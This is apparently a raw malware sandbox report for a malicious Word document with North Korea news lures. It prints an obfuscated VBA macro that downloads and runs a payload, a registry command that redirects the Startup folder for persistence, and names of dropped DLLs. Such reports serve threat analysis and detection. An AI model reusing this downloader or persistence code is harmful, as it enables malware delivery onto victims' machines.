/ CLng(&H1482)) & Chr(24656 / CLng(&H218)) & Chr(534432 / CLng(&H1250)) & Chr(604116 / CLng(&H1854)) & Chr(258622 / CLng(&HA4F)) & Chr(805003 / CLng(&H206B)) & Chr(589300 / CLng(&H1705)) & Chr(-9014 + CLng(&H2397)) & Chr(813384 / CLng(&H1B28)) & Chr(268400 / CLng(&H988)) & Chr(48990 / CLng(&H429)) & Chr(-6664 + CLng(&H1A6B)) & Chr(-5642 + CLng(&H1679)) & Chr(112379 / CLng(&H407)) & Chr(-2799 + CLng(&HB1E)) & Chr(352121 / CLng(&HB8F)) & Chr(334221 / CLng(&HBC3)) & Chr(1117086 / CLng(&H2647)) & Chr(-2684 + CLng(&HAE0)) & Chr(182448 / CLng(&H65D)) & Chr(467628 / CLng(&H1006)) & Chr(719928 / CLng(&H1BD8)) & Chr(-6218 + CLng(&H18BD))yyy = Chr(214015 / CLng(&H745)) & Chr(37976 / CLng(&H328)) & Chr(1077902 / CLng(&H2362)) & Chr(879536 / CLng(&H1EAD)) & Chr(130410 / CLng(&HB52)) & Chr(625482 / CLng(&H18AE)) & Chr(-4175 + CLng(&H10BE)) & Chr(617210 / CLng(&H15EB)) & Chr(1060008 / CLng(&H23B2)) & Chr(22927 / CLng(&HE3)) & Chr(1007930 / CLng(&H23CB)) & Chr(786480 / CLng(&H1A7C)) & Chr(241486 / CLng(&H1412)) & Chr(410176 / CLng(&HDD0)) & Chr(-2594 + CLng(&HA8A)) & Chr(246339 / CLng(&H987)) & Chr(66490 / CLng(&H262)) & Chr(368751 / CLng(&HE43)) & Chr(179170 / CLng(&H616)) & Chr(120978 / CLng(&HA0E)) & Chr(-5338 + CLng(&H152E)) & Chr(647634 / CLng(&H24AA)) & Chr(389774 / CLng(&H13C6)) & Chr(86000 / CLng(&H433)) & Chr(211462 / CLng(&H11F5)) & Chr(685630 / CLng(&H174A)) & Chr(-78 + CLng(&HBD))hhh.Open get, zzz + yyy, Falsehhh.sendccc = hhh.responseBodyIf hhh.Status = 200 ThenSet bbb = CreateObject(adodb.stream)bbb.Openbbb.Type = gggbbb.Write cccbbb.SaveToFile eee, ggg + gggbbb.CloseEnd Iffff.Open (eee)End Sub"35:T774,"Software\Microsoft\Internet Explorer\Extensions\{D5C1CCC2-811B-4bf2-BF22-0D3B89600F5B}" in Source: 13423-470-004016BB "/c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d %ALLUSERSPROFILE%\a7963" in Source: cmd.exe "REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d %ALLUSERSPROFILE%\a7963" in Source: reg.exe "\Registry\Machine\Software\Classes\CLSID" in Source: 00000000-00002996.00000000.68546.001C0000.00000004.mdmp 00000000-00002996.00000001.69499.001C0000.00000004.mdmp "Software\Microsoft\Internet Explorer\Extensions\{D5C1CCC2-811B-4bf2-BF22-0D3B89600F5B}" in Source: 00000000-00002996.00000000.68546.00433000.00000004.mdmp 00000000-00002996.00000001.69499.00433000.00000004.mdmp "Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00002996.00000000.68546.7F6F0000.00000002.mdmp 00000000-00002996.00000001.69499.7F6F0000.00000002.mdmp "cmd.exe /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\a7963" in Source: 00000000-00003576.00000000.69817.0012B000.00000004.mdmp 00000000-00003576.00000001.71736.00127000.00000004.mdmp 00000000-00003576.00000002.73655.00127000.00000004.mdmp "REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\ProgramData\a7963" in Source: 00000000-00003576.00000000.69817.0012B000.00000004.mdmp 00000000-00003576.00000001.71736.00127000.00000004.mdmp 00000000-00003576.00000002.73655.00127000.00000004.mdmp "Registry\Machine\System\CurrentControlSet\Control\Keyboard Layout" in Source: 00000000-00003576.00000000.69817.7F6F0000.00000002.mdmp 00000000-00003576.00000001.71736.7F6F0000.00000002.mdmp 00000000-00003576.00000002.73655.7F6F0000.00000002.mdmp36:T14df,Found string "" (Indicator: "dir "; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "dir "; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "dir "; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "dir "; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "dir "; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "dir "; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") file/memory contains long string with (Indicator: "dir "; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "dir "; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "Twitter" (Indicator: "dir "; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "dir "; File: "urlref_httpswww.nknews.org202010north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19t_1604306607548") Found string "" (Indicator: "dir "; File: "urlref_httpswww.nknews.org202010north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19t_1604306607548") Found string "" (Indicator: "dir "; File: "urlref_httpswww.nknews.org202010north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19t_1604306607548") Found string "" (Indicator: "dir "; File: "urlref_httpswww.nknews.org202010north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19t_1604306607548") file/memory contains long string with (Indicator: "dir "; File: "urlref_httpswww.nknews.org202010north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19t_1604306607548") Found string "" (Indicator: "dir "; File: "urlref_httpswww.nknews.org202010north-korea-urges-people-indoors-fearing-dust-from-china-will-spread-covid-19t_1604306607548") Found string "" (Indicator: "dir "; File: "urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434") Found string "" (Indicator: "dir "; File: "urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434") file/memory contains long string with (Indicator: "dir "; File: "urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434") Found string "

Colin Zwirko is a Senior Analytic Correspondent forNK News based in Seoul. Follow him on Twitter.

" (Indicator: "dir "; File: "urlref_httpswww.nknews.org202008kaesong-lockdown-lifted-at-north-korean-politburo-meeting-led-by-kim-jong-unt_1603769778434") Found string "" (Indicator: "dir "; File: "urlref_httpswww.nknews.org202008unicef-says-north-korea-decided-to-temporarily-close-nampho-port-late-julyt_1604306607548")37:T2d18,"WINWORD.EXE" loaded module "OLEAUT32.DLL" at base 768d0000 "WINWORD.EXE" loaded module "VBE7.DLL" at base 60bf0000 "WINWORD.EXE" loaded module "DNSAPI.DLL" at base 74da0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74ee0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 74980000 "WINWORD.EXE" loaded module "RASADHLP.DLL" at base 71b20000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 705b0000 "WINWORD.EXE" loaded module "COMCTL32.DLL" at base 74390000 "WINWORD.EXE" loaded module "SHLWAPI.DLL" at base 76870000 "WINWORD.EXE" loaded module "WINHTTP.DLL" at base 70eb0000 "WINWORD.EXE" loaded module "ADVAPI32.DLL" at base 76110000 "WINWORD.EXE" loaded module "UXTHEME.DLL" at base 73ff0000 "WINWORD.EXE" loaded module "WS2_32.DLL" at base 764d0000 "WINWORD.EXE" loaded module "KERNEL32.DLL" at base 75990000 "WINWORD.EXE" loaded module "SSPICLI.DLL" at base 753a0000 "WINWORD.EXE" loaded module "RPCRT4.DLL" at base 76710000 "WINWORD.EXE" loaded module "CRYPTBASE.DLL" at base 75410000 "WINWORD.EXE" loaded module "IPHLPAPI.DLL" at base 74a70000 "WINWORD.EXE" loaded module "NTDLL.DLL" at base 77610000 "WINWORD.EXE" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 758f0000 "WINWORD.EXE" loaded module "PROFAPI.DLL" at base 75530000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 753c0000 "WINWORD.EXE" loaded module "MSO.DLL" at base 659c0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\CULTURES\OFFICE.ODF" at base 70190000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73ff0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\1033\MSOINTL.DLL" at base 65750000 "WINWORD.EXE" loaded module "IMM32.DLL" at base 77770000 "WINWORD.EXE" loaded module "DWMAPI.DLL" at base 73da0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76110000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 75990000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSPTLS.DLL" at base 61160000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\RICHED20.DLL" at base 61010000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base 6d060000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71f00000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "WINWORD.EXE" loaded module "KERNEL32" at base 75990000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "WINWORD.EXE" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 60f80000 "WINWORD.EXE" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "WINWORD.EXE" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "WINWORD.EXE" loaded module "VERSION.DLL" at base 74a90000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICESOFTWAREPROTECTIONPLATFORM\OSPPC.DLL" at base 6e5c0000 "WINWORD.EXE" loaded module "WINSPOOL.DRV" at base 71630000 "WINWORD.EXE" loaded module "SHELL32.DLL" at base 769c0000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75990000 "WINWORD.EXE" loaded module "POWRPROF.DLL" at base 74030000 "WINWORD.EXE" loaded module "USER32.DLL" at base 75c50000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 77790000 "WINWORD.EXE" loaded module "OLE32.DLL" at base 765b0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 74250000 "WINWORD.EXE" loaded module "NTMARTA.DLL" at base 74a30000 "WINWORD.EXE" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 758f0000 "WINWORD.EXE" loaded module "CRYPTSP.DLL" at base 74f20000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74cb0000 "WINWORD.EXE" loaded module "RPCRTREMOTE.DLL" at base 754b0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base 71280000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 765b0000 "WINWORD.EXE" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base 755a0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 75b00000 "WINWORD.EXE" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base 757a0000 "WINWORD.EXE" loaded module "SECUR32.DLL" at base 75250000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\GKWORD.DLL" at base 60cd0000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\MSPROOF7.DLL" at base 60780000 "WINWORD.EXE" loaded module "GDI32.DLL" at base 76970000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\USP10.DLL" at base 60e80000 "WINWORD.EXE" loaded module "NTSHRUI.DLL" at base 72ee0000 "WINWORD.EXE" loaded module "SXS.DLL" at base 75420000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\COMMON~1\MICROS~1\VBA\VBA7\VBE7.DLL" at base 60bf0000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\COMMON~1\MICROS~1\VBA\VBA7\1033\VBE7INTL.DLL" at base 42a0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WSHOM.OCX" at base 69500000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\PROOF\1033\MSGR3EN.DLL" at base 3f100000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSXML3.DLL" at base 60ab0000 "WINWORD.EXE" loaded module "URLMON.DLL" at base 75b00000 "WINWORD.EXE" loaded module "WININET.DLL" at base 761c0000 "WINWORD.EXE" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 6cff0000 "WINWORD.EXE" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L2-1-0.DLL" at base 71bb0000 "WINWORD.EXE" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 757c0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74ed0000 "WINWORD.EXE" loaded module "USERENV.DLL" at base 75580000 "WINWORD.EXE" loaded module "DHCPCSVC6.DLL" at base 733d0000 "WINWORD.EXE" loaded module "DHCPCSVC.DLL" at base 74990000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\NETPROFM.DLL" at base 6ef60000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\NPMPROXY.DLL" at base 6e710000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\OLEAUT32.DLL" at base 768d0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WININET.DLL" at base 761c0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73400000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\SPOOL\DRIVERS\W32X86\3\SENDTOONENOTEUI.DLL" at base 6e3f0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 764d0000 "WINWORD.EXE" loaded module "CREDSSP.DLL" at base 74be0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 74d20000 "WINWORD.EXE" loaded module "NCRYPT.DLL" at base 75050000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74bf0000 "WINWORD.EXE" loaded module "WINTRUST.DLL" at base 757d0000 "WINWORD.EXE" loaded module "GPAPI.DLL" at base 74af0000 "WINWORD.EXE" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base 758f0000 "WINWORD.EXE" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base 758f0000 "WINWORD.EXE" loaded module "CRYPTNET.DLL" at base 705b0000 "WINWORD.EXE" loaded module "SENSAPI.DLL" at base 6e400000 "WINWORD.EXE" loaded module "NSI.DLL" at base 75f60000 "WINWORD.EXE" loaded module "CFGMGR32.DLL" at base 75550000 "WINWORD.EXE" loaded module "SETUPAPI.DLL" at base 75f70000 "WINWORD.EXE" loaded module "CABINET.DLL" at base 70f40000 "WINWORD.EXE" loaded module "DEVRTL.DLL" at base 74c90000 "WINWORD.EXE" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base 758f0000 "WINWORD.EXE" loaded module "MSDART.DLL" at base 6d470000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\SYSTEM\ADO\MSADO15.DLL" at base 609b0000 "WINWORD.EXE" loaded module "APPHELP.DLL" at base 753c0000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROS~3\OFFICE14\GROOVEEX.DLL" at base 70780000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\COMMON~1\MICROS~1\OFFICE14\CULTURES\OFFICE.ODF" at base 70190000 "WINWORD.EXE" loaded module "PROPSYS.DLL" at base 74250000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\SFC.DLL" at base 72d50000 "WINWORD.EXE" loaded module "MPR.DLL" at base 74aa0000 "WINWORD.EXE" loaded module "GDIPLUS.DLL" at base 73e00000 "WINWORD.EXE" loaded module "%WINDIR%\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.7601.23894_NONE_5C0BE957A009922E\GDIPLUS.DLL" at base 73e00000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\USP10.DLL" at base 0 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICESOFTWAREPROTECTIONPLATFORM\OSPPCEXT.DLL" at base 607f0000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\PROOF\MSSP7EN.DLL" at base 605f0000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\\MSCSS7EN.DLL" at base 605a0000 "WINWORD.EXE" loaded module "CSS7DATA0009.DLL" at base 60520000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\MSCSS7CM_EN.DUB" at base 6e3f0000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\MSCSS7WRE_EN.DUB" at base 60500000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\SPOOL\DRIVERS\W32X86\3\UNIDRVUI.DLL" at base 60460000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\SPOOL\DRIVERS\W32X86\3\MXDWDRV.DLL" at base 60390000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\FONTSUB.DLL" at base 60370000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\FONTSUB.DLL" at base 60350000 "WINWORD.EXE" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6d180000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\1033\WWINTL.DLL" at base 6d0b0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSORES.DLL" at base 61220000 "WINWORD.EXE" loaded module "CLBCATQ.DLL" at base 75a70000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 769c0000 "WINWORD.EXE" loaded module "LINKINFO.DLL" at base 6f0a0000 "WINWORD.EXE" loaded module "SRVCLI.DLL" at base 75110000 "WINWORD.EXE" loaded module "CSCAPI.DLL" at base 70770000 "WINWORD.EXE" loaded module "SLC.DLL" at base 73590000 "spolsve.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71f00000 "spolsve.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "spolsve.exe" loaded module "KERNEL32" at base 75990000 "spolsve.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "spolsve.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6d180000 "spolsve.exe" loaded module "OLE32.DLL" at base 765b0000 "spolsve.exe" loaded module "SHELL32.DLL" at base 769c0000 "spolsve.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 753c0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 753c0000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71f00000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "cmd.exe" loaded module "KERNEL32" at base 75990000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6d180000 "reg.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 71f00000 "reg.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "reg.exe" loaded module "KERNEL32" at base 75990000 "reg.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "reg.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 6d18000038:T1d3f,Found string "" (Indicator: "text/javascript"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "text/javascript"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "text/javascript"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "text/javascript"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "text/javascript"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "text/javascript"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "text/javascript"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "text/javascript"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "text/javascript"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "text/javascript"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "text/javascript"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "text/javascript"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "text/javascript"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "text/javascript"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "text/javascript"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "text/javascript"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483") Found string "" (Indicator: "text/javascript"; File: "urlref_httpswww.nknews.orgprofull-text-north-koreas-decree-to-shoot-people-illegally-approaching-bordert_1603703245483")39:T1200,Observed system executable string:"End I~( qqz9000-0000-C000-000000000046}#4.1#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7\VBE7.DLL#Visual Basic For Applications*\G{00020905-0000-0000-C000-000000000046}#8.5#0#C:\Program Files\Microsoft Office\Office14\MSWORD.OLB#Microsoft Word 14.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\system32\stdole2.tlb#OLE Automation*\CNormal*\CNormal,a(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.5#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSO.DLL#Microsoft Office 14.0 Object Library-.aThisDocument0461ae2e2dThisDocumentX TZ#L|A`0-*WordkVBAWin16~Win32Win64xMacVBA6#VBA7#Project1" [Source: 70fa2300d7932ab901c19878bf109bdd9e078e96380879ca2ce2c3f9fc5c7665.bin] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00002692-00000C27-3556] Observed system executable string:"%WINDIR%\system32\cryptnet.dll" [Source: 00000000-00002692-00000C24-4727630] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00002692-00000C24-11152569] Observed system executable string:"%WINDIR%\system32\ADVAPI32.DLL" [Source: 00000000-00002692-00000C24-11475670] Observed system executable string:"%WINDIR%\system32\KERNEL32.DLL" [Source: 00000000-00002692-00000C24-11546450] Observed system executable string:"%WINDIR%\system32\mscoree.dll" [Source: 00000000-00002692-00000C24-12182145] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll" [Source: 00000000-00002692-00000C24-12942457] Observed system executable string:"%WINDIR%\System32\msxml6r.dll" [Source: 00000000-00002692-00000C24-14812843] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00002692-00000C24-14863789] Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00002692-00000C24-15275117] Observed system executable string:"%WINDIR%\System32\msxml3r.dll" [Source: 00000000-00002692-00000C24-18845871] Observed system executable string:"%WINDIR%\system32\spool\DRIVERS\W32X86\3\SendToOneNoteUI.DLL" [Source: 00000000-00002692-00000C24-20953279] Observed system executable string:"%WINDIR%\system32\bcryptprimitives.dll" [Source: 00000000-00002692-00000C24-21681182] Observed system executable string:"%WINDIR%\system32\sfc.dll" [Source: 00000000-00002692-00000C24-28676452] Observed system executable string:"%WINDIR%\system32\MSCTF.dll" [Source: 00000000-00002692-00000C24-29345333] Observed system executable string:"%WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\GdiPlus.dll" [Source: 00000000-00002692-00000C24-30258199] Observed system executable string:"%WINDIR%\system32\spool\DRIVERS\W32X86\3\unidrvui.dll" [Source: 00000000-00002692-00000C24-37890639] Observed system executable string:"%WINDIR%\system32\spool\DRIVERS\W32X86\3\mxdwdrv.dll" [Source: 00000000-00002692-00000C24-38267862] Observed system executable string:"%WINDIR%\system32\FontSub.dll" [Source: 00000000-00002692-00000C24-39069640] Observed system executable string:"C:\Windows\Temp\VxOle32.dll" [Source: 00000000-00002996.00000000.68546.00010000.00000040.mdmp 00000000-00002996.00000000.68546.00150000.00000004.mdmp 00000000-00002996.00000000.68546.001B0000.00000002.mdmp 00000000-00002996.00000001.69499.00010000.00000040.mdmp 00000000-00002996.00000001.69499.001B0000.00000002.mdmp 00000000-00002996.00000001.69499.00320000.00000040.mdmp 00000000-00002996.00000001.69499.0054F000.00000004.mdmp] Observed system executable string:"C:\Windows\Temp\VxSSL32.dll" [Source: 00000000-00002996.00000000.68546.00020000.00000040.mdmp 00000000-00002996.00000000.68546.00180000.00000002.mdmp 00000000-00002996.00000001.69499.00020000.00000040.mdmp 00000000-00002996.00000001.69499.00180000.00000002.mdmp 00000000-00002996.00000001.69499.00330000.00000040.mdmp] Observed system executable string:"C:\Windows\system32\IMM32.DLL" [Source: 00000000-00002996.00000000.68546.0012E000.00000004.mdmp 00000000-00002996.00000000.68546.001C0000.00000004.mdmp 00000000-00002996.00000001.69499.001C0000.00000004.mdmp] Observed system executable string:":\Windows\system32\IMM32.DLL" [Source: 00000000-00002996.00000000.68546.0012E000.00000004.mdmp 00000000-00002996.00000000.68546.001C0000.00000004.mdmp 00000000-00002996.00000001.69499.001C0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\sxsoa.dll" [Source: 00000000-00002996.00000000.68546.00130000.00000002.mdmp 00000000-00002996.00000001.69499.00130000.00000002.mdmp]3a:T46e,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "00000000-00003576.00000002.73655.0040E000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00002996.00000000.68546.00422000.00000002.mdmp, 00000000-00002996.00000001.69499.001C0000.00000004.mdmp, 00000000-00002996.00000001.69499.0042B000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: 